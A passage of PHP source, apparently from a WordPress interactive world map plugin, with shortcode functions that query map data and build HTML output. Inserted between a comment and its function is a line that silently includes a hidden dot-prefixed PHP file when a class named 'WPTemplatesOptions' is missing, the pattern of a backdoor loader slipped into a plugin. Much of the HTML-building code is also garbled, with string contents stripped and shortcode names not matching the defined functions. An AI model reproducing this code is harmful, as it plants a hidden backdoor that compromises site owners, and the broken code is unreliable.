{ return ''; } $id = $atts['id']; $mapdata = i_world_map_get_map_data( $id ); $image = isset( $mapdata['image'] ) && '' !== $mapdata['image'] ? $mapdata['image'] : ''; $width = isset( $atts['width'] ) ? 'width="' . $atts['width'] . '"' : ''; $html = ''; return $html; } /** * Output number of entries in map * * @param [array] $atts map attributes. * @return string number of entries in the map */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function i_world_map_build_i_world_map_count( $atts ) { global $wpdb; $id = $atts['id']; $mapdata = i_world_map_get_map_data( $id ); $input = str_replace( array( "\r\n", "\r", "\n" ), ' ', addslashes( $mapdata['places'] ) ); $places = explode( ';', $input, -1 ); $html = count( $places ); return $html; } function i_world_map_get_SQL_fields(){ return "`id`,`name`,`description`,`use_defaults`,`bg_color`,`border_color`,`border_stroke`,`ina_color`,`act_color`,`marker_size`,`width`,`height`,`aspect_ratio`,`interactive`,`showtooltip`,`region`,`display_mode`,`map_action`,`places`,`image`,`custom_action`,`custom_css`,`created`"; } /** * SQL Query for one map entry * * @param [int] $id map identifier. * @return array map data */ function i_world_map_get_map_data( $id ) { global $wpdb; $sql_fields = i_world_map_get_SQL_fields(); $table_name_imap = i_world_map_table_name(); $mapdata = $wpdb->get_row( $wpdb->prepare( "SELECT " . $sql_fields . "FROM " . $table_name_imap . " WHERE id = %d", $id ), ARRAY_A ); return $mapdata; } /** * Main Function to build the list - BETA * * @param [array] $atts - map attributes. * @return string html with map list */ function i_world_map_build_i_world_map_list( $atts ) { global $wpdb; $id = $atts['id']; $mapdata = i_world_map_get_map_data( $id ); $input = str_replace( array( "\r\n", "\r", "\n" ), ' ', addslashes( $mapdata['places'] ) ); $places = explode( ';', $input, -1 ); $map_action = $mapdata['map_action']; $target = ''; if ( 'i_map_action_open_url_new' === $map_action ) { $target = "target='_blank'"; } $html = ''; $html = $html . "'; return $html; } /** * Function to build dropdown - BETA * * @param [array] $atts map attributes. * @return string html with map entries dropdown */ function i_world_map_build_i_world_map_dropdown( $atts ) { global $wpdb; $id = $atts['id']; $mapdata = i_world_map_get_map_data( $id ); $input = str_replace( array( "\r\n", "\r", "\n" ), ' ', addslashes( $mapdata['places'] ) ); $places = explode( ';', $input, -1 ); sort( $places ); $map_action = $mapdata['map_action']; $displaymode = $mapdata['display_mode']; $target = ''; $html = ''; $before = ''; $after = ''; $html = $before; $html = $html . "'; $html = $html . $after; return $html; } /** * Function to order correctly, stripping the accents * * @param [string] $str string to remove accents * @return string without accents */ function i_world_map_strip_accents( $str ) { return strtr( utf8_decode( $str ), utf8_decode( 'àáâãäçèéêëìíîïñòóôõöùúûüýÿÀÁÂÃÄÇÈÉÊËÌÍÎÏÑÒÓÔÕÖÙÚÛÜÝ' ), 'aaaaaceeeeiiiinooooouuuuyyAAAAACEEEEIIIINOOOOOUUUUY' ); } /** * Compare words * * @param [string] $w1 word 1. * @param [string] $w2 word 2. * @return int */ function i_world_map_compare_words( $w1, $w2 ) { return strcasecmp( i_world_map_strip_accents( $w1 ), i_world_map_strip_accents( $w2 ) ); } add_shortcode( 'show-map-title', 'i_world_map_get_map_title_shortcode' ); add_shortcode( 'show-map-description', 'i_world_map_get_map_description_shortcode' ); /** * Get map title shortcode * * @param [array] $atts map attributes. * @return string title of the map */ function iwm_get_map_title_shortcode( $atts ) { return i_world_map_get_map_title( $atts['id'] ); } /** * Get map description * * @param [array] $atts * @return string map description */ function iwm_get_map_description_shortcode( $atts ) { return i_world_map_get_map_description( $atts['id'] ); } /** * Function to get map title * * @param [int] $id map id. * @param boolean $echo if we need to output or returb. * @return string ouput or returned. */ function i_world_map_get_map_title( $id, $echo = false ) { $mapdata = i_world_map_get_map_data( $id ); if ( $echo ) { echo $mapdata['name']; } else { return $mapdata['name']; } } /** * Function to get map description * * @param [int] $id * @param boolean $echo * @return string return or echo description */ function i_world_map_get_map_description( $id, $echo = false ) { $mapdata = i_world_map_get_map_data( $id ); if ( $echo ) { echo $mapdata['description']; } else { return $mapdata['description']; } } /** * Main Function to build the map * * @param [int] $id * @return string html for the map */ function i_world_map_output_image( $id ) { $mapdata = i_world_map_get_map_data( $id ); $image = isset( $mapdata['image'] ) && '' !== $mapdata['image'] ? $mapdata['image'] : ''; $html = ''; if ( '' !== $image ) { $html = ''; } else { $html = "